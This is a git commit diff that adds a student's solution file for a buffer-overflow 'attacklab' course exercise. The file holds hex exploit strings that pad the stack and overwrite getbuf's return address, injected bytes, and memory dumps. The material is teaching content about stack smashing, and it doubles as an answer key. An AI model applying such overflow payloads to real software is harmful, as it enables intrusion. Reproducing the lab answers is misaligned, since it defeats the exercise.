chapter 3: reading excercises + attacklab

1 files changed, 27 insertions, 0 deletions

diff --git a/labs/attacklab/solution/stack.c b/labs/attacklab/solution/stack.c
new file mode 100644
index 0000000..1c9002f
--- /dev/null
+++ b/labs/attacklab/solution/stack.c
@@ -0,0 +1,27 @@
+// 00 00 00 00 00 00 00 00     // free space: int val
+// 00 00 00 00 00 40 17 c0     // return address: call getbuf
+// ef be ad de ef be ad de     // rsp - 8
+// ef be ad de ef be ad de     // rsp - 16
+// ef be ad de ef be ad de     // rsp - 24
+// ef be ad de ef be ad de     // rsp - 32
+// ef be ad de ef be ad de     // rsp - 40
+
+ef be ad de ef be ad de
+ef be ad de ef be ad de
+ef be ad de ef be ad de
+ef be ad de ef be ad de
+ef be ad de ef be ad de
+40 17 c0 00 00 00 00 00
+
+
+0x5561dc78:     0x17ec6859b997fabf      0xdeadbeefdec30040
+0x5561dc88:     0xdeadbeefdeadbeef      0xdeadbeefdeadbeef
+0x5561dc98:     0xdeadbeefdeadbeef      0x0000000000000000
+
+59 b9 97 fa
+
+006166373939623935
+
+0x5561dc78:     0xdeadbeefdeadbeef      0xdeadbeefdeadbeef
+0x5561dc88:     0xdeadbeefdeadbeef      0x35adbeefdeadbeef
+0x5561dc98:     0x0061663739396239      0x000000005561dc78